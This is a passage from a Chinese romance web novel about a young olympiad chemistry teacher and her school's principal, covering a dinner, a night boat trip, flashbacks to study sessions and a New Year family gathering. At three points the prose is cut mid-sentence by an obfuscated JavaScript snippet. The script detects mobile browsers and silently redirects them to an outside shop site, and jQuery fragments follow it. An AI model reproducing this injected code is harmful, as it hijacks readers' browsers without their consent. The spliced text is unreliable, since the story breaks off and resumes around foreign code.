唐瑜嫣没矫情,直接接过来顺着签子咬了一口,“嗯?味道居然没变吗?” “是吧!”对面挤眉弄眼,压根不像那个在学校稳重的校长,“你看,你有没有发现,离家这么多年其实家乡没你想象变化大。” “嗯,也不是,具体分情况吧,铁山确实没什么变化,这垃圾监控系统也没怎么改。” 唐瑜嫣一下子就吃完了一串,拿着签子在空中虚虚地点着他。 宋飞珑挠挠头,无奈地解释:“当年展妙翻墙的时候我就和我爸讲了,已经准备改了,方案都制订好了。后来分家分得太突然,就被搁置了。” “不过没关系,我们按照之前那个方案再完善了一下。新的监控线路和门禁系统过几天就准备开工了。” 原来是撞上分家了,那真怪不了他,他更是个受害者。唐瑜嫣点点头表示理解,“现在呢,你们集团……学校怎么维持运营的,不会是你自掏腰包的吧。” “你别忽悠我那点学费就能把学校发展成这样,估计给老师发工资都够呛。”唐瑜嫣怕他说鬼话敷衍她,抢先截住话。 很多人都以为附中是靠那些交钱进来的少爷投的经费去买网课,买资料,跟别的学校谈合作的。 但其实读过他们学校的学生清楚得很,虽然难以相信,但那帮少爷确实是正儿八经考进来的。 本市中考题目过于简单,就考一个细心,所以确实有人全靠初三一年找名师家教补课押题,愣是当黑马考上了附中这个升学率数一数二的学校的。 虽然这点小聪明一上高中就被照得无处遁形,跟那些全凭实力考上的比,完全不够格就是了。 宋飞珑没直接回答,反而问她:“你想喝羊汤吗,我帮你去打。” “不了,你要是喝点酒才能讲得出来,我不介意今晚开你车把你送回家。”唐瑜嫣不吃这套,“我大学无聊的时候考了张货车驾照。” “哎哟,小唐你真是…”宋飞珑被她逗乐了——虽然唐瑜嫣在看见他的第一眼他就在笑,但现在感觉他整个人都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406463|200536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 散发着某些很快乐的气息。 宋飞珑想了想,本来就不打算瞒着唐瑜嫣,“刚开始那年是拿着学校剩下那点为数不多的钱维持的,后面我妈打赢官司了,我手上拿了点家里企业的股份,就没那么困难了。” “哎你真是…”唐瑜嫣明白了,这少爷就是钱多没处花来造福百姓的。 其实之前那两个集团合资开这么一所学校,是为了提升公众形象,说白了是为了自家其他产业更好赚钱的。 谁知道因为薪资待遇好吸引了很多好老师,第一届更是不可思议地培养出了状元,莫名其妙就成省内顶尖名校了。 但是明显现在附中变成宋某人的慈善机构了。 “我刚开始还觉得你变了很多,毕竟你们家那事闹得全国都知道了,但现在看起来也没怎么变。”还是那么理想和天真。唐瑜嫣实在忍不住。 “是吗,我倒是看你第一眼就觉得你一点没变呢!”宋飞珑还是给她打了汤,让她别急于逞口舌之快,想喝就喝。 “你躲在角落降低存在感不想给自己找事的样子简直和以前一模一样!” 非要犯这个贱,唐瑜嫣无语,叉了一块切碎的馕狠狠咬下,“你觉得那么多领导在我敢多说一句话吗!” “哎,那你现在怎么跟你领导说话的呢!注意言辞!”宋飞珑也学着她那样叉了块馕。 “不是你说你就是个村官让我别膈应吗!”不知道为什么唐瑜嫣总是会被这个人调动情绪。 “别人可能觉得我就是在客气啊。”宋飞珑指出关键点。 “而且我第一次见你的时候你也没尊敬我啊,我可是你高贵的校长的儿子!你不听话我就开了你!”他装作那些纨绔富二代强抢民女的样子。 “我求你别演地主家的傻儿子了,拜托你当时一点威慑力都没有啊!”唐瑜嫣真想把这桌子上这盘烤肉扣他脸上。 宋飞珑立马看出了她的意图,专门把盘子挪远了一点以免他的帅脸遭殃。 “不过话说小唐,上了一段时间班,感觉怎么样,喜欢当老师吗?”宋飞珑突然前言不搭后语地问了一句,聊天嘛,管它话题是什么,聊得开心就好。 唐瑜嫣刚想说你转化话题未免太生硬,听清是这个问题之后,莫名沉默了一下,叹了口气。 “还行吧,工作而已,不过比在公司打工肯定有意思一点,不然我也不会回来。” “只是工作吗?我看你挺喜欢那帮小崽子的。”对面以一种开玩笑的语气戳穿。 “嗯,好吧,我原来觉得当老师挺没劲的,每天做一样的工作,那跟学生那会没差了。” 说着她就不免回想起昨晚那些少年招摇撞市地起义,不顾别人脸皮地抒发内心感激,停下斟酌了好一会才继续,“但是现在看来还是挺有意义挺有成就感的。” 倒也不是长大了学会去迎合社会的期待,她就是觉得,大抵是竞赛部那帮人幼稚中二的举动,让她在触动到他们的同时,自己也有被触动的感觉。 所以她目前的理想追求大概和社会需求同向了。 所以在短短这么一小段时间,她好像明白了为什么宋飞珑很喜欢跟少年们打交道。毕竟这种纯粹炙热的稚子之心,很难在社会上再找到。 好吧,她想,她可能真想当一个好老师了,不仅仅因为它是一个工作。 15. 第 15 章 “小唐,其实,你已经是个好老师了!”宋飞珑仿佛听到了她心里的声音,很肯定地下定义。 唐瑜嫣没想到短短不到两天,她居然听到了两次这样类似的话。 “这还用你说…不过我的做法还是有点激进了,不然小姜他也不会…”唐瑜嫣想起那件事还是有点后怕,“我以后…” “小唐,小姜和他父母的关系早就是个定时炸弹,就算你不这么做,他们也需要有个机会好好聊一聊。” 宋飞珑看她不吃了,就把剩下的几串素菜快速扫荡干净,挥了挥手示意结账。 “我知道,他爸妈答应了在他打完校赛后,就坐下来跟他好好谈谈。”她微微叹了口气,“其实好好交流真的可以解决很多事情,但大多数人都做不到。” 服务员受到他的指引走了过来,伸手把账单递给宋飞珑,那倾斜的一角泄露出一个匪夷所思的数字,唐瑜嫣猛然想起这家店是以物美价廉著称的。 她想都不想手一撑桌面就站起来,用不可置信的声音喊出:“不是吧,你就拿这点敷衍我,亏我还以为我赚了,小徐和老陈他们都说收到奖金了,我的呢!” 旁边服务员不嫌事大,听见此番言论后忍不住捂嘴偷笑,递出去的账单不知道为什么缩回去了。 宋飞珑见诡计被戳破,立马转回头捂着心口可怜巴巴地盯着她,“礼轻情意重啊,难道跟你最最最vvvip校长吃饭不值那点奖金钱吗,你太物质了小唐,我看错你了!” “亏我还以为你喜欢做慈善,谁敢想你身上还是流着资本家的血!”唐瑜嫣看他演起来了,站起来指着他跟他演个彻底。 服务员见状立马不敢继续看热闹,这可不行,和气生财啊! 他一个走位扭进他俩中间,掐尖嗓子活脱脱挤出了夹子音。 “这位先生,这位小姐,本店崇尚文明向善和谐的营业理念,你们……你们不要打起来啊!” 宋飞珑实在没憋住笑,抬手打断了店员莫名升起的表演欲,“好了好了,刷卡。小唐,我送你回家,回教室公寓还是你槐安路的房子?” 唐瑜嫣收起夸张的表情,没有一秒犹豫,“槐安路吧,家里床比学校舒服,我建议宋校多关心老师们的脊椎,给每间房换个3米超大软床。” 宋飞珑觉得唐瑜嫣像个机关枪一样,几膛子弹连发,心里忍不住想,“小唐怎么可以一直这样,看着冷冷淡淡实际上这么奇奇怪怪可可爱爱的。” 不过他还是决定要安抚一下他们学校未来的骨干教师,免得她被气晕给“兄弟学校”们捡便宜挖走。 “你银行卡还没和学校工资系统绑好,等绑好了少不了你的!” 唐瑜嫣一听便顺毛了,放下指着他的手,高冷颔首致意自己接受了他画的大饼,并将在月末考察自己吃到了没有。 这家店就开在街边,但由于生意过于火爆,停车位紧张,饶是已经提前了很多来占位置,宋飞珑的车还是被挤到爪哇国去了。 好在外面秋意正浓,凉风习习,在街上散步也称得上一番雅趣。他俩索性边慢悠悠着找着车,边有一搭没一搭地聊着。 “小唐,寒假前我们学校要组织一次去西德的学习培训,你也一起去吧。” “你净逮着一只羊薅呢,学校这是准备培养新的竞赛老师吧。” “哎哟,小同志,学校这是重视你才想培养你啊——而且我前几天去和他们谈合作,他们不是每个周末都有面向全校的竞赛课吗。” “我们希望他们把它开成直播课,让我们竞赛部的同学一起上。” 他很轻松很自然地脱口而出,仿佛顺手而成。但谁都知道这件事到底有多难,说白了能进国家队的一年就50个人,我凭什么费尽心思培养我的竞争对手。 “你是救了人家的命还是砸了一大笔钱。”唐瑜嫣懒得看他风轻云淡的样子——一边说还不忘捡一根桂花树枝在手里把玩。 宋飞珑没在第一时间回答,反而像抽了什么风,突然扭头拿着树枝在唐瑜嫣头上扫了扫,大有当街做法的意思。 树枝上残存的几朵桂花随着宋飞珑手的晃动落在她的脸颊和发间,一时间像下起了局部阵雨。 扑面而来的是一阵馥郁的桂花香,这本该是一件心旷神怡的事——如果忽略掉呼啦她一脸的花瓣的话。 她实在忍不住一把抓住宋飞珑作乱的手,“手不想要就捐给有需要的人。” 宋飞珑闻言立马举手投降,把桂花枝放回某个草丛,又侧身摘下那些不长眼的挡她视线的花,用行动表明自己的手长在身上很有用。 唐瑜嫣看见这人在自己眼前晃来晃去的,在路灯的明暗交织下,如同天边的那一抹幻影,难以捉摸,心里不免产生一些异样的感觉,说不清,但总之不是讨厌。 “嗯钱肯定是花了的,这就跟买网课一个道理嘛。但人家也很有诚意,表示愿意跟我们这边增加点互动,让我们有课堂参与感,比如点名回答点问题。” 又扯回了原来那个话题,宋飞珑无奈地摊摊手,表明他已经尽力去谈,这笔买卖已经是最划算的了。 “不过人家也算是借我们来展示他们主动顺应国家的扶持计划,教育也有先富带动后富嘛,这是双赢的事。” 终于找到他的座驾了,他从口袋里摸出车钥匙,摁了两下,然后帮唐瑜嫣拉开副驾的门,故作殷勤:“热烈欢迎唐领导莅临寒车,您的到来让这狭窄的空间蓬荜生辉,领导这边请!” “欢迎领导不拉横幅吗?”唐瑜嫣单手扶着车门发出拷问,“小同志思想觉悟不到位啊!” 宋飞珑唇角露出一抹笑意,果然,不管别人怎么想,他就是觉得小唐总能用一些冷淡又透着幽默的方式接他的话茬。 如果不是这样,以他们身份年龄的差异,在最开始也不会成为朋友。 宋飞珑平缓地开着车,旁边唐瑜嫣正溺于车载音乐悠扬的旋律之中,闭目养神。 他们俩的气场有种莫名的契合,无论是在沉默还是在不着边际的谈天说地,都很少有尴尬的时刻。 宋飞珑突然在两首歌切换的间隙中发问。 “小唐,你睡了吗?” “没,不困,这么早。” “这样啊…” “那你想跟我进行再一次紧张刺激的夜间游行活动吗!” 宋飞珑的声音无疑是轻柔的,像是不想惊扰什么,但语气却显得兴奋起来。 他向唐瑜嫣发出邀请,很显然这纯粹出于一时兴起——见月色入户,念无与为乐,渴求怀民亦未寝。 意料之外情理之中,唐瑜嫣早就知道肯定会有这一遭,不然这个晚上正常得不可思议了。 “不想,再被保安追一次我撕了换张脸算了。”唐瑜嫣假意拒绝,想听听这人打算干些什么。 毕竟高中那次,虽然最后展妙和宋飞珑谁也没透露出有关德育处奇妙夜的半点风声,但她就是有心理阴影了。 宋飞珑啼笑皆非,“放心吧!这次绝对不会再出意外,不会出现城市跑酷的!” 说着他抬手指了指窗外,唐瑜嫣随着他的动作扭头,原来是到江边了。“我们坐船游江吧,你是不是从来没坐船游过家门口的江!” 宋飞珑兴致勃勃,像第一次来旅游。 “我记得这个项目是为了服务游客的,我们……”唐瑜嫣刚想说本地人赶上去被宰是什么事。 怎料当她打开车窗,也被天边那一轮圆月所吸引。远端山峦起伏,与其交相辉映,本应是一片青黛色,如那江南水墨丹青,却在夜晚华灯璀璨下反倒有种五光十色的辉煌意味。 “此番美景不应当被辜负啊是吧。”宋飞珑不想打扰她观赏,于是在路边找了个好角度停下车,让她评估跟他去坐船的价值。 “这倒是新奇,以前天天路过怎么没发现这么好看?”她想,大抵是白天太过于理性,心底那些浪漫与不切实际只有在夜晚才会变得为所欲为。 这大概也是她每次都会接受宋飞珑一些罗曼蒂克的怪诞行为的原因,她喜欢这些浪漫主义的疯狂。 谁知道宋飞珑比她想象的还要不切实际,他们俩没去排队坐游轮,反而去整了个渔船说要感受苏轼那种一叶扁舟漂于浩荡凌波中,那种天地万物浩瀚而自身渺小的诗意。 “我求你了叫个船夫吧,万一咱俩被卡在什么地方难道还在江上过夜吗!” 好吧,论境界还是这人更疯狂,唐瑜嫣怀疑他要是有能力,甚至会去体验什么携飞仙遨游抱明月长终。 宋飞珑原本真想自己试试能不能撑船,看她一脸惊恐上面像是写着你敢自己撑我就敢现在就走,只能遗憾地把这未成型的方案否掉。 唐瑜嫣靠在船舱里,手搭在栏杆上撑着脸,身体随着水流的波动起起伏伏。 小渔船横冲直撞,驶离了人最多的地段,更显几分无人的静谧。 周围只剩船桨划过水面规律且温柔的轻响和宋飞珑贼心不死向渔夫探讨如何划船如何捕鱼是否能摸摸他的鸬鹚。 唐瑜嫣目光不自觉地就从落月江枫中转到宋飞珑身上,看着在他刚开始略带些笨拙来回动作到慢慢熟练,旁边的渔夫在笑呵呵地指导。 都快三十的人了,居然还有一种童心未泯的感觉。 怪不得有那么多诗句咏诵江水、圆月与良夜,唐瑜嫣想,这是一种能把灵魂融进去的美好。 有些她以为这一辈子她都不会问出来的话竟在此刻脱口而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406464|200536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出。 “宋飞珑,你为什么当时说来帮我过生日,下一秒就消失了?”一消失还是好几年。 她知道他们家当时事出紧急,但矫情也好,做作也罢,她就是无法接受他的不告而别。 哪怕宋飞珑当时多花一秒说自己有急事,以后再联系,她都不会如此难过——十九岁生日,她等了他整整一个晚上。 她的声音不算大不算小,正常来说,船舱外应该听得清。 谁知道醉心渔樵事业的宋飞珑此时好巧不巧一杆子敲到了突起的礁石上,发出了令人胆战的撞击声,连着整艘船都震荡了几下。 身旁一直默默关注他的渔夫见状一把抢过船桨,左右各用力划了几下以稳住渔船,又摸了摸被惊醒的鸬鹚的头,没怪宋飞珑。 “没事没事,你没经验,”他解释,“这好多暗礁的位置都是走多了以后记住的。” 宋飞珑点点头,看了看被水溅湿的衣角和裤腿,终于明白自己不是划船这块料,跟渔夫表明感谢后便跨步回到船舱。 “小唐,你刚刚说什么,我没听清。”渔船就这么大,他走进来便自然地坐到唐瑜嫣对面,弯腰撑着腿仰头看着唐瑜嫣。 受不了他炽烈的目光,特别是有亏心事的时候——那话刚问出口的时候她就后悔了,唐瑜嫣微微错开视线。 “让你叉俩鱼上来吃。”她随口胡诌。 “啊这样吗,那我现在就去。”宋飞珑立马笑着起身,看样子真准备去体验一下抓鱼。 唐瑜嫣立马叫住他,“开玩笑的,到时候真浑身湿透了。” “就知道小唐不会这么冷血无情!”这人嬉皮笑脸地插科打诨着,有种莫名的生动,唐瑜嫣眼里那个朦朦胧胧的身影突然又变得具象了。 宋飞珑说完后并没有立马坐下,反而仔细端详咀嚼着唐瑜嫣的表情,沉默了一会。 船舱又重新回到最开始的寂静,宋飞珑看着她微微低垂的眼睑,直觉她想说的可能不是抓鱼这种小事,于是不想就这样粉饰过去。 “小唐,我是不是做错什么事了,或者说干了什么对不起你的事。” 他如此直接敏锐真真让唐瑜嫣有些措手不及。 她烦躁地用手指敲了几下栏杆,沉默了很久,刚刚是一时冲动,现在反应过来怎么也问不出口了。 她向来不是一个沉湎于过去的人,诸事发生皆有其意义与道理,无论其好坏。 怎奈月照树影摇曳婆娑,江潮轻涌,群山激荡,飘渺的风也为此驻留。陌生的感性在此刻疯长,那根卡在心里的刺愈发尖锐。 但如今再问又显得自己对他一直念念不忘情有独钟,确然不够坦荡。而且自己后面确实把人删了,现在再分你的错我的错显然没有什么意义。 他们已经错过了一千五百次日出,没必要再毁掉这次月落。 几番纠结下,她最后还是选择维持原判,不再纠结他突然间的消失和不告而别,“没有,你坦坦荡荡。” 宋飞珑听到这话愈发觉得肯定有事,但是小唐不愿意说,这很反常,一个荒谬的念头出现在他的脑海里,难道……该不会是……那条邀请发出去了吧? “小唐,我……”一想到这他立马瞪大眼,大脑刷地就空了。 他居然手忙脚乱起来,话都说不利索了,一瞬间甚至想去拉唐瑜嫣的手。 唐瑜嫣避开了,抬手作势撩了撩头发,没有接受他伸过来的手,“宋飞珑,没有必要……”没有必要困在过去,像他们这样的人,本该有注视现在和未来的勇气。 但是不知道为什么,如果在这的是19岁的唐瑜嫣,她必定有一腔孤勇,会义无反顾地牵上宋飞珑的手。但很可惜,24岁的唐瑜嫣,反而在此刻退缩了。 她很害怕,害怕他会再一次闯入她的世界后又突然消失,害怕他们像她爸妈一样发现对方不适合——她的爸妈在结婚之前也是一对交心老友,害怕自己会难过。 况且,她这些年一个人也过得很好,她的世界已足够丰富,好像不再需要一位异性的陪伴。 因此,她在宋飞珑错愕地眼神中,坚定地告诉他,自己困了想早点回去休息,请给她一些时间,她会自己想清楚。 这场夜游就在两个人各怀心事中草草结束了。 从船上下来直到回到家,唐瑜嫣的大脑仍有些钝痛,胃也不自觉痉挛。 送她回家的宋飞珑看上去同样心乱如麻,一直想开口跟她说点什么,又忍着没说,只给她给她拧开了瓶水让她缓缓。 “人家苏轼武子胥都是在江上悟道,我怎么净给自己找不愉快。” 唐瑜嫣洗完澡躺在床上,蹂躏着一个不记得什么时候宋飞珑送给她的玩偶,恨恨地想。 16. 第 16 章 正所谓日有所思,夜有所梦,历经了无数实践论证所得的真理不容小觑,当晚宋飞珑就蹿进了唐瑜嫣的梦里。 面对唐瑜嫣已落后旁人半年的进度,自告奋勇来补课的陈贤章老师显得格外焦虑。他不仅怕她因落后太多而失去动力,更怕她最终就差这一点,与奖牌失之交臂。 于是每天下课后,他总背着手溜达到唐瑜嫣身边,慈爱地看着她,问问学得如何、哪里还不懂,并一再表示自己随时都在。 唐瑜嫣被这份密不透风的关切裹得有些无措,长这么大,她还不曾有过这样被目光全程护送的学习体验。 她也曾表达过自己目前学习状况良好,不用过度操心,可以多关心一下跟她同期一起补课的难兄难弟段辰。 然而她永远没法在陈老师委屈巴巴的眼神和语气中坚持三秒。 “小唐,你们俩我都是雨露均沾的呐,我已经很端水了,看你十二个小时,看他十二个小时!”老陈严谨地论证。 “那你的老婆儿子呢!这位唯爱老婆人士!快多分点时间给他们啊!”唐瑜嫣在心里吐槽,又不好意思告诉他,他那羞耻的网名已经远近闻名到人尽皆知了。 在她旁边的段辰闻言急忙表示自己不需要再多关注了,如果可以的话他不介意牺牲自己,让陈老师奉行女士优先的原则。 啧,这副推脱的表情,看起来他也被陈老师的热情包裹得透不过气。 唐瑜嫣不想让陈老师心寒,又实在郁闷。只得转而向宋飞珑这位罪魁祸首阴阳怪气,“学长,不是你邀请我来竞赛部的吗?怎么还让陈老师寒假加班?太不人道了!” 他们俩那天晚上过后就加了联系方式,可能是建立了革命战友情,再加上被他连环坑了几次。唐瑜嫣对他实在是客气不起来。 收到她的质问,宋飞珑好气又好笑,秒回道:“我跟陈老师申请过去教你们,很可惜被残忍拒绝了。” “我还被他追着骂,说我一个国赛都没进的小垃圾,怎么好意思来指导我们金牌预备役的,简直是癞蛤蟆想吃天鹅肉,想都不要想!” “你国赛都没进吗?怎么可能?没有竞赛加分你怎么考上现在这所大学的?”唐瑜嫣不可思议地在手机屏幕上十指翻飞。 他这学校在他们省招生的分数线可不比清北低多少。 “运气好,当时都想高三打基础,高四再战一年了。”宋飞珑那边好像在忙什么,发了条语音过来,背景音听起来像什么东西在移动和翻阅。 “国赛这个嘛,原来我在小唐心里这么厉害,居然一定能进国赛吗?”他心情很好地调侃。 略带电流的声音从那头传来,感觉像把手机夹在肩膀和耳朵中间说的,有种清冽的空灵。 “那不是看你这金光闪闪的学历和从从容容轻轻松松的态度吗。”唐瑜嫣心里诽谤了一大串,聊天框上却只回了一句,“只是觉得不太可能。” “嗯…怎么说呢,主观原因还是我技不如人。客观来说从我这届开始,我们学校才刚接触竞赛,我就是来当小白鼠的。所以当时很多老师对竞赛的了解甚至不如我多。跟人家压根不在一条起跑线上。” “你看你们现在有网课了,学校也有一批能带竞赛的老师了。总的来说进步很多了,不过还是缺拿过牌有经验的学长学姐。” 他的声音突然激昂起来,“那这就等着未来的你了!” 随即还附赠了一大堆拍拍,鼓励,点赞,就差你了等土味老年表情包以示自己的重视。 唐瑜嫣充分认识到了这人整天在正经和抽疯间来回切换,不想和现在明显处于后者的宋飞珑多费口舌。 时间也差不多了,她准备把手机关上,继续背有机的那一大堆人名公式人名定理人名反应。 这一大堆洋人的名字和化学方程式背起来真要命了,什么马氏规则,傅-克反应,格氏反应,威廉姆森醚合成,他们伟大祖国的高科技化学家都跑哪去了! 她和段辰已经崩溃到每天像俩文科生一样相互抽背,嘴里最常蹦出的话是,“我的卡西欧呢!我的卡西欧呢!” “小唐,你在跟宋哥聊天啊。”段辰看书看得头昏眼花,正巧这时候把黏在书上的眼神撕下来,准备休息一下等会儿再战,一不小心就瞟到了这一大堆更烧眼睛的表情包。 “昂,是啊。”唐瑜嫣随口回答,突然激起了些好奇,“哎话说段辰,你当初是怎么给他哄过来的?” 这个有些微胖的男孩不好意思地挠挠头,嘿嘿一笑,颇有些憨厚。 “也没有哄吧…其实我本来就挺想学竞赛的,家里不支持,宋哥说学校报销,拿了国奖学校还有奖金,我爸妈就答应了。” 还真有人是因为钱啊,唐瑜嫣有些无奈,想起自己跟宋飞珑胡诌不知道向父母谁要钱,一时有些无言,又不想在此刻上下打量段辰的穿着行头,多少有些冒昧,最后选择拍了拍他的肩,“没事,你拿奖金不是轻轻松松。” “谢谢你啊,小唐,要是拿了奖金我请你,宋哥和展姐吃饭。”段辰夸下海口,说完就想起了什么,“虽然我觉得你们比我更厉害就是了。” “我不好说,但是展姐确实,感觉明年真能拿块金牌回来。”唐瑜嫣谦虚指出。 “啊那展姐确实。”段辰点头认可。 不比他们俩肝脑涂地埋头苦学,展妙这厮三下两下就赶完了大半进度,且正如她在德育处所说,居然真的每天下课就挥着手往化学竞赛这边跑,还伴随着大声叫喊,“小唐,吃饭了!” 于是整栋竞赛楼的人都知道她们俩是每日饭友了。 而段辰作为和唐瑜嫣的同期同学,正巧这段时间又苦于物理化学那天花乱坠的高数二阶偏导、链式法则。 对于数竞大佬每日都准时光临这事,段辰刚开始还有些尴尬,后面实在是被不知道是英语还是数学反正不可能是化学的公式逼疯了,也顾不上矜持了,像抓着救命稻草一样扒着展妙给他们补课。 一个专业学数学的显然还是比化学老师更会推公式,故而一来二去他们三个人都熟了。 想到这唐瑜嫣和段辰同时看了眼时间,按理来说已经到展妙过来的点了,不过他俩瞬间理解,露出怜悯的微笑—— 估计是数 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406465|200536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竞老师已经完全沉浸在自己的解题艺术中了,而下课铃是没办法叫醒一个装睡的人的,十有八九那边拖堂了。 他俩索性打算再看一会书等着展妙下课,谁知道没等来展妙,宋飞珑那边又开始作妖。 她打开手机,发现是在他们四个人的群里——虽然唐瑜嫣并不知道这个群到底怎么拉起来的,反正就是拉起来了——某位宋姓学长发了一大堆文档和图片。 “瞧一瞧,看一看啊,我们当年的化竞资料,现在免费大甩卖!买不了吃亏,买不了上当啊!” 唐瑜嫣被这路边摊揽客文案雷得不行,点开了一个图片,拿起笔打算写两题。 “天!怎么这么简单!”旁边的段辰代替她喊出了声,他俩这种刚学了半个月不到的半吊子都能看出来,这初赛卷子顶天也就和现在预选赛难度差不多。 那头的宋飞珑好像通过网线听到了他俩的惊呼,解释道,“初赛卷子当年是省内出题的,现在竞赛成熟了变成全国出题了,难度和现在没法比,就是给你们看一下了解一下。” “还有几个文档是我大学科研项目实验室里导师的论文,你们可以看一下,现在竞赛有些题目会和最新科研接轨,有空可以自己找找。” “好的,收到!”在他俩震惊间,竟是让那边刚下课的展妙抢先回复了。 “展姐,放我们一条活路吧,你就乖乖学你的数学竞赛行不!”段辰见状恳求。 唐瑜嫣默默复制粘贴发送,表明对段辰的支持,又顺手把所有文件下载保存下来。 “我们展女侠真是太性情了,为你点赞{赞}{赞}{赞}!”宋飞珑倍感欣慰,展妙真是哪里有事往哪钻,哪里没事也硬要钻,真要说小唐答应学竞赛还有一部分是她的功劳呢,学校就需要这种人才! “哎呀哎呀,培养兴趣爱好嘛……哎小唐,小段,你们没走吧,等我啊!马上收拾好东西就来!”发完这句话不到半分钟展妙就冲了过来。 “展姐神速啊!”段辰瞠目结舌,他都没收拾好。 “必须的!随叫随到呀!”展妙笑嘻嘻地拐上唐瑜嫣,甚至还主动催促,“呀你们搞快点呀,我巨想吃小火锅!本来就慢人一步了,再晚点要被先飞的笨鸟,哦不,早起的鸟儿抢完了!” 谁不想在大冬天吃上热腾腾的小火锅呢!这段时间每天中午都要上演一场全校火锅争夺战。 “哎,关灯锁门,电脑在里头呢!”唐瑜嫣无奈地扫完尾,然后被她连拖带拉地拽出竞赛部。 校园主干道上人潮涌动,展妙愈发急切,在唐瑜嫣帮忙开路下,从开始的快步走,到小跑,最后甚至冲刺起来,誓要跑过所有竞争对手,终于是让她从人群中横插一脚抢到了中午最后一张票。 “nice!大获全胜!”在周围落败同学的怒目而视下,展妙高高扬起那张餐票,向体能不行早就被甩飞,现在终于跑进食堂找了位置坐着喘气的段辰展示炫耀。 唐瑜嫣后来上大学之后再回望,不禁感慨正是这一道道题和一张张餐票,一个特不靠谱的学长,两个志同道合的朋友组成了她的一整个高中。 17. 第 17 章 即使唐瑜嫣他们已经是最后一批离开学校的,这场补课也并没有持续很长时间,因为全国人民盼星星盼月亮盼了半年的春节终于到来了。 至于你问为什么是半年,那咱们就要好好翻日历探讨一下十月一日是什么日子了。 唐瑜嫣今年是跟她妈过年的,她爸和她妈实行一年一轮的政策,让她两边老家轮流去,不能厚此薄彼,两方亲戚可都稀罕着她呢。 除夕团圆饭后,唐瑜嫣沉默地坐在七大姑八大姨中间,被周围七嘴八舌唠家常打麻将看春晚的笑声,还有时不时夹杂的几句小表弟小侄女刷太久短视频,被家长批评后的哭声吵得不得安宁。 她忍不住揉了揉太阳穴,不禁怀疑自己为什么要坐在这里,有这时间去刷几道题不好吗。 “他们盼我来个什么劲儿?来这杵着当冰块吗?”唐瑜嫣十分不理解,她其实不喜欢这么吵闹的氛围,但她身边的人好像全是这样热热闹闹的性格。 “哎嫣嫣啊,姨听说你去参加那个什么,哦对,化学竞赛了!哎哟我们家要出一个科学家了!” 她大姨不知道是不是怕她无聊,居然超经意地把话题拉到了她身上。 “哎哟,嫣嫣这么厉害啊,等过两年咱们家要出一个状元了,哎妞妞,你要向你唐姐姐学习,听到没有!” 桌上的瓜子皮已然垒成小山,嗑着瓜子凑热闹的三姨发现刚产出的新成员没地儿落脚了,只得忍痛把矜贵的双手从火炉边移开,把前面的钉子户通通扫进垃圾桶。 做完一系列动作后还伸手一捞,把偷偷用遥控器把春晚换成少儿频道的女儿扒拉过来,一起公开处刑。 她那可怜的小表妹,被抓过来时还在眼巴巴地盯着电视,无法接受自己好不容易调出来的小猪玩泥巴就这样离她而去,眼眶里“刷”地蓄满了泪水,吧哒吧哒往下直流,“我的小猪,哇,我的小羊,我要、我要吹口哨……” 唐瑜嫣见状眼疾手快地撕开一颗糖,精准地塞向她嘴里,还从兜里掏出一把刚在外面超市买的巧克力,放在她手心,成功止住了那将要发作、妄图拆家的哭嚎。 拿糖贿赂的效果真真是立竿见影,小表妹肉乎乎地脸上立马绽出了大大的笑容,也是个活脱脱的川剧变脸大师。 “哎,妞妞,这个时候要说什么,要谢谢姐姐知道没有!”三姨挤眉弄眼地向唐瑜嫣竖了个大拇指,又转头故作凶巴巴地教育小女儿。 “谢谢嫣嫣姐姐,姐姐是全世界最好的人,人美心善,嗯……最重要的是每年都给妞妞糖吃!妞妞长大以后要成为像姐姐一样的人!” 小姑娘吃完糖心情立马多云转晴,彩虹屁张口就来,还绕着唐瑜嫣转圈圈。 唐瑜嫣揉着她的脑袋,心里止不住地想,不要想不开向自己学习啊,她们这种理工科预备役未来前途光不光明尚且未知,但十有八九会是挺秃然的。 “瞧瞧咱们嫣嫣又听话能干,还会带弟弟妹妹,再过几年要是拿了那个…诺尔贝奖,我们一家子都沾光了!” “那个,表嫂,人家叫诺贝尔…”唐瑜嫣无力。 “哎管他什么贝尔尔贝的……哎哟,你看嫣嫣还专门去了解过这些奖项呢,等拿奖回来一定要让嫂子摸摸开开眼啊!”表嫂顺手还掐了一把她的脸。 越说越离谱了…状元都不太现实,还诺奖呢!唐瑜嫣被她们这些抛开事实不谈的脑洞惊得瞠目结舌,但鉴于在坐的全是长辈,她又不好说什么。 幸好这时,唐母端着一大盘切好的水果从厨房走出来,成功救她于水火之中。 “姐,弟媳,小唐最近补课补得勤,黑眼圈长得快成大熊猫了,让她回房间好好休息一下,我们聊我们的。” 